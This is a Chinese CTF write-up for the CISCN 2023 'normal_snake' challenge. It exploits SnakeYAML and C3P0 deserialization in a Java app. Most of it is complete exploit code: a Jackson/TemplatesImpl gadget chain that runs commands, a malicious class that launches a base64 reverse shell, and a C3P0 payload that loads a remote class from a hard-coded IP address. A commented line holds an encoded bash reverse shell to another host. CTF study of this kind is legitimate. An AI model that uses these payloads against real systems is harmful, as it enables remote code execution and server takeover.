[CISCN 2023 华北]normal_snake
源码和依赖
算了直接说吧,不想截图了,就多了一个C3P0和yaml的依赖
然后read路由可以反序列化yaml的Str
我们看到waf
那个String是可以二次反序列化绕过的,然后CUSTOM_STRING1解码后是"BadAttributeValuePairException",CUSTOM_STRING2解码后是"HotSwapableSource"。就是禁用了这两个去hook toString’的类
然后思路就是C3P0的二次反序列化打
一开始我的思路是以为不能出网,直接二次反序列化打的字节码加载,首先通过yaml反序列化调用set方法触发
WrapperConnectionPoolDataSourceBase.setUserOverridesAsString---VetoableChangeSupport.fireVetoableChange--- WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange---C3P0ImplUtils.parseUserOverridesAsString---SerializableUtils.fromByteArray---SerializableUtils.deserializeFromByteArray---readObject
调用这条链是很容易的,然后就是hex字节码部分,一开始选择的是jackson的原生链,以为也没有其他的依赖了
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;public class Poc0 {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");ctClass0.removeMethod(writeReplace);ctClass0.toClass();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);byte[] bytes = ctClass.toBytecode();Templates templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});setFieldValue(templatesImpl, "_name", "test");setFieldValue(templatesImpl, "_tfactory", null);//利用 JdkDynamicAopProxy 进行封装使其稳定触发Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);POJONode jsonNodes = new POJONode(proxyObj);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);objectOutputStream.close();String res = Base64.getEncoder().encodeToString(barr.toByteArray());System.out.println(res);}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}
但是有BadAttributeValueExpException在黑名单,然后想其他hook到Tostring的方法也找不到
所以选择放弃,看wp
发现是出网的,只需要打URL远程类加载就好了其实,首先是我们的恶意文件,是看的别人的
public class evil {private static final long serialVersionUID = 1593252632163539756L;static{String string = "calc";String[] commands = null;String command = "";if (System.getProperty("os.name").toLowerCase().contains("win")) {commands = new String[]{"cmd", "/c", string};} else {command = "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}";}try {//Runtime.getRuntime().exec(commands);Runtime.getRuntime().exec(command);} catch (Exception e) {throw new RuntimeException(e);}}
}
打URL类加载
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import org.yaml.snakeyaml.Yaml;import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;public class C3P0_yaml {public static class C3P0 implements ConnectionPoolDataSource, Referenceable {@Overridepublic Reference getReference() throws NamingException {return new Reference("evil","evil","http://49.232.222.195:9999/");
// ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
// resourceRef.add(new StringRefAddr("forceString", "x=eval"));
// resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')"));
// return resourceRef;}@Overridepublic PooledConnection getPooledConnection() throws SQLException {return null;}@Overridepublic PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}@Overridepublic PrintWriter getLogWriter() throws SQLException {return null;}@Overridepublic void setLogWriter(PrintWriter out) throws SQLException {}@Overridepublic void setLoginTimeout(int seconds) throws SQLException {}@Overridepublic int getLoginTimeout() throws SQLException {return 0;}@Overridepublic Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}}public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {C3P0 c3P0=new C3P0();PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是publicField connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");connectionPoolDataSource.setAccessible(true);connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase));String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";System.out.println(poc);
// Yaml yaml=new Yaml();
// yaml.load(poc);
// byte[] result=serialize(poolBackedDataSourceBase);
// unserialize(result);}public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);outputStream.writeObject(object);outputStream.close();return byteArrayOutputStream.toByteArray();}public static void unserialize(byte[] s) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s);ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}public static String byteArrayToHexString(byte[] byteArray) {StringBuilder sb = new StringBuilder();for (byte b : byteArray) {sb.append(String.format("%02X", b));}return sb.toString();}}
简单说一次,其实就是hex加载的paylaod里面套一个url加载的
然后还有一个!!的绕过其实也不难,!tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource就好了
然后就是在自己服务器上放这个文件,开打
后面就不记录了,因为不知道为什么没有打成功